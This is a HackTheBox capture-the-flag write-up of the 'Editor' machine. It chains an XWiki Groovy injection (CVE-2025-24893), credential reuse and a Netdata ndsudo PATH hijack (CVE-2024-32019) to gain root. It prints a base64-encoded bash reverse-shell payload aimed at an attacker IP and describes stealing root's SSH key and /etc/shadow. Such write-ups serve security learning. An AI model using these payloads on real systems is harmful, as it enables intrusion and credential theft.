Editor
https://app.hackthebox.com/machines/Editor
Summary
Editor is a easy-difficulty Linux machine that highlights the risks of exposed administrative documentation platforms and internal service vulnerabilities. Initial access was gained by enumerating subdomains to discover an XWiki instance, which was found to be vulnerable to an unauthenticated Remote Code Execution (RCE) flaw in the SolrSearch macro (CVE-2025-24893).
Post-exploitation enumeration revealed hardcoded database credentials within the XWiki configuration files, enabling lateral movement to the user oliver via password reuse. Root privilege escalation was achieved by identifying an internal Netdata monitoring service. By tunneling the internal port to the attacker machine, a Local Privilege Escalation (LPE) vulnerability (CVE-2024-32019) was exploited in the ndsudo binary, allowing for PATH hijacking and arbitrary command execution as root.
Attack Chain
Reconnaissance: Identified
wiki.editor.htbsubdomain via JavaScript asset enumeration.Initial Access: Exploited CVE-2025-24893 (XWiki SolrSearch RCE) to gain a reverse shell as user
xwiki.Lateral Movement: Recovered cleartext credentials from
hibernate.cfg.xmland utilized them to SSH as useroliver.Discovery: Identified
Netdataservice running on internal port 19999.Command and Control: Established a Chisel reverse tunnel to access the Netdata dashboard.
Privilege Escalation: Exploited CVE-2024-32019 via the
ndsudoSUID binary (PATH Hijacking) to execute a malicious binary asroot.
Reconnaissance
Remote System Connection
#attack/T1018
Initial connectivity tests were performed using ICMP echo requests to verify the target's availability and estimate the underlying operating system.
The Time to Live (TTL) value of 63 suggests the target is a Linux-based machine, accounting for a single hop between the attacker and the target.
Network Scanning
#attack/T1595
To map the attack surface, a full TCP port scan was executed. This identified three open ports associated with standard administrative and web services.
Service Enumeration
#attack/T1046
Following the identification of open ports, a targeted service scan was performed to determine version information and identify potential web applications.
Infrastructure Analysis
The nginx service on port 80 was configured to redirect to a virtual host named editor.htb. To interact with the web application, the local /etc/hosts file was updated to resolve the domain.
Cross-referencing the service versions against the Launchpad Ubuntu database provided more granular insights into the host operating system:
SSH (OpenSSH 8.9p1-3ubuntu0.13): Associated with Ubuntu Jammy (22.04 LTS).
HTTP 80 (nginx 1.18.0-6ubuntu8.2): Associated with Ubuntu Hirsute (21.04).
The discrepancy between package codenames (Jammy vs. Hirsute) suggests the possibility of containerization or services running within different environments (e.g., Docker or LXC) on the same host.
Web Exploitation
Tech Profiling
#attack/T1592_002 #attack/T1083
Initial fingerprinting of the web service on Port 80 was conducted using whatweb to identify the underlying technology stack and server configurations.
The server is running nginx 1.18.0. A search for known exploits for this specific version yielded no immediate results.
Manual inspection of the home page revealed a landing page for an IDE named SimplistCode Pro. The site provides download links for both Linux (.deb) and Windows (.exe) installers. Additionally, an administrative email address, contact@editor.htb, was identified.
Subdomain Discovery
Automated crawling with gospider was employed to identify additional endpoints and potential subdomains within the application’s JavaScript assets.
The crawl successfully identified a new virtual host: wiki.editor.htb. This subdomain was added to the local /etc/hosts file for further investigation.
XWiki Enumeration
#attack/T1589_002 #attack/T1592
The wiki.editor.htb subdomain appears to serve as a documentation hub for the SimplistCode Pro project, powered by the XWiki platform.
Accessing the wiki revealed the application is running XWiki 15.10.8. While searchsploit does not list direct exploits for this specific version, the wiki contains valuable documentation regarding the SimplistCode Pro application.
Information Leakage
The "Main - Intro" page was authored by Neal Bagwell. This identifies a potential username, neal, for future brute-force or authentication attacks.
RCE via XWiki SolrSearchMacros (CVE-2025-24893)
#attack/T1210 #owasp/A03_2025 #owasp/A05_2025 #mitre/CWE-95
Further investigation of Port 8080 confirmed it acts as a secondary entry point or proxy for the XWiki service identified earlier. While automated vulnerability scanners like nuclei failed to flag specific issues, manual research into XWiki version 15.10.8 revealed a critical unauthenticated Remote Code Execution (RCE) vulnerability tracked as CVE-2025-24893.
The vulnerability exists in the SolrSearch macro, where improper sanitization allows a guest user to inject an async execution block containing arbitrary Groovy code.
Vulnerability Validation
A Proof-of-Concept (PoC) was executed to confirm the execution context. By sending a crafted GET request to the SolrSearch endpoint, the server was forced to calculate a mathematical expression within a Groovy script block.
The response title containing Hello from search text:42 confirms that the Groovy engine executed the injected code, verifying the RCE vulnerability.
Arbitrary File Read & Local Enumeration
#attack/T1083 #attack/T1592_002
Leveraging the RCE, the payload was modified to execute system commands using the Groovy .execute().text method. This allowed for the exfiltration of sensitive system files, beginning with /etc/passwd. Further technical details regarding this specific exploitation vector can be found in the OffSec vulnerability analysis.
Analysis of the /etc/passwd file identified two primary users with interactive shell access, which will be the focus for gaining a persistent foothold:
The target is confirmed to be vulnerable to unauthenticated RCE as the xwiki user. The existence of a local user oliver provides a clear path for lateral movement or privilege escalation.
Initial Access
Remote Code Execution & Reverse Shell
#attack/T1210 #attack/T1059_004 #owasp/A05_2025
With command execution confirmed via the XWiki SolrSearch vulnerability, the next objective was to establish an interactive foothold. A Bash reverse shell payload was selected for its reliability on Linux-based targets.
To ensure the payload was not corrupted by special character interpretation within the URL or the Groovy engine, the command was Base64 encoded.
The encoded string was then wrapped in a Groovy execution command designed to decode and execute the shell via /bin/bash. The entire string was URL-encoded to maintain compatibility with the HTTP GET request.
Final Encoded Groovy Payload: println("bash -c {echo,YmFzaCAtaSAgID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE5OS80NDQ0ICAgMD4mMQo=}|{base64,-d}|{bash,-i}".execute().text)
A listener was initialized on the attack machine using netcat prior to dispatching the exploit.
The crafted request was sent using curl, targeting the vulnerable SolrSearch endpoint.
Foothold Established
The listener successfully intercepted the incoming connection, providing an interactive shell as the service user xwiki.
TTY Stabilization
The initial shell lacked job control and proper terminal formatting. A standard stabilization procedure was performed to enable full interactivity, including Tab-completion and support for text editors.
The environment was successfully normalized, allowing for efficient post-exploitation and enumeration.
Discovery
System Enumeration
#attack/T1082 #attack/T1083
Following the successful establishment of a foothold as the xwiki service user, internal enumeration was conducted to map the local environment. Initial checks confirmed the operating system is Ubuntu 22.04.5 LTS (Jammy), consistent with prior reconnaissance.
A manual audit of the home directories revealed that the user oliver is present on the system, though the directory remains inaccessible to the current user.
Credential Harvesting
#attack/T1552_001 #owasp/A03_2025
To identify potential vectors for privilege escalation, the XWiki configuration files were audited for hardcoded credentials. Research indicated that database connection strings are typically stored within the hibernate.cfg.xml file.
A cleartext password for the xwiki database user was identified: theEd1t0rTeam99.
Lateral Movement
#attack/T1078 #attack/T1021_004
Given the frequency of password reuse in such environments, the discovered credential was tested against the user oliver via SSH.
Lateral Movement Successful
The password theEd1t0rTeam99 was successfully reused for the oliver account, granting higher-level access to the system.
Internal Service Enumeration
#attack/T1046
With access to the oliver account, a review of internal listening ports was conducted to identify services restricted to the localhost interface.
The output revealed an unusual service running on TCP Port 19999. Probing the service with curl identified it as a Netdata Embedded HTTP Server (v1.45.2).
Exfiltration of Internal Web Assets
To facilitate offline analysis of the Netdata dashboard, the HTML source was exfiltrated to the attack machine using netcat.
Attacker Machine:
Target Machine:
The integrity of the exfiltrated file was verified on the attacker machine using the MD5 hash 226467a12f3cfdb97e69dea63a7e1fd5. This service will be further analyzed for potential privilege escalation vectors to root.
Port Forwarding & Internal Service Access
#attack/T1572 #attack/T1090
To facilitate a comprehensive analysis of the Netdata service running on the loopback interface (127.0.0.1:19999), a reverse tunnel was established using Chisel.
Tool Preparation & Optimization
The target architecture was confirmed as x86_64, and the corresponding Chisel binary was prepared on the attack machine. To minimize the forensic footprint and speed up the transfer, the binary was compressed using the upx utility.
The optimized binary was then transferred to the target's /dev/shm directory via a Python-based HTTP server.
Tunnel Establishment
A Chisel server was initialized on the attack machine, and the client was executed on the target to map the internal port 19999 to the attacker's local interface.
Attacker (Server):
Target (Client):
The tunnel successfully exposed the internal service. Verification with lsof confirmed that the attack machine was now listening on port 19999.
Privilege Escalation
Local Privilege Escalation (CVE-2024-32019)
#attack/T1548_001 #attack/T1574_007 #mitre/CWE-426
With the Netdata dashboard accessible, a version audit identified the software as Netdata Agent v1.45.2.
Research into this version revealed a critical Local Privilege Escalation (LPE) vulnerability, CVE-2024-32019. The vulnerability resides in the ndsudo tool, a SUID binary intended to execute a restricted set of commands with root privileges. However, ndsudo fails to sanitize the PATH environment variable, allowing an attacker to intercept execution by placing a malicious binary in a user-writable directory.
SUID Binary Validation
The presence and permissions of the vulnerable binary were verified on the target system.
The binary is owned by root and has the SUID bit set (-rws). Since the user oliver is a member of the netdata group, they have the necessary permissions to execute this binary and trigger the PATH hijacking vulnerability.
Further analysis of the ndsudo binary confirmed its utility in executing administrative commands on behalf of the Netdata agent. By invoking the --help flag, the supported command set was identified, revealing that ndsudo searches for specific executables (such as nvme) within the system's PATH.
The vulnerability stems from the binary's reliance on an untrusted PATH environment variable. Since ndsudo is an SUID executable owned by root, hijacking the nvme command via PATH manipulation allows for arbitrary code execution with elevated privileges.
Public Exploit Compilation
#attack/T1587_004
A malicious C-based payload was prepared to establish a reverse shell. The exploit was cross-compiled statically on the attack machine to ensure portability and named nvme to match the executable expected by ndsudo.
Execution & Path Hijacking
#attack/T1574_007
The compiled binary was transferred to the target's /dev/shm directory. To trigger the exploit, the PATH variable was prepended with the current working directory, forcing ndsudo to execute the malicious nvme binary instead of the legitimate system utility.
Root Access Granted The PATH hijacking successfully redirected the privileged execution flow to the malicious binary, resulting in a root shell on the listener.
Persistence & Credential Recovery
#attack/T1552_004 #attack/T1021_004 #attack_T1098_004
To maintain administrative access without re-exploiting the ndsudo vulnerability, the root user's private SSH key was exfiltrated.
The key was saved locally and used to establish a persistent, high-integrity SSH session.
As a final discovery step, the /etc/shadow file was sampled to verify the ability to harvest system-wide password hashes for offline cracking. #attack/T1003_008
Last updated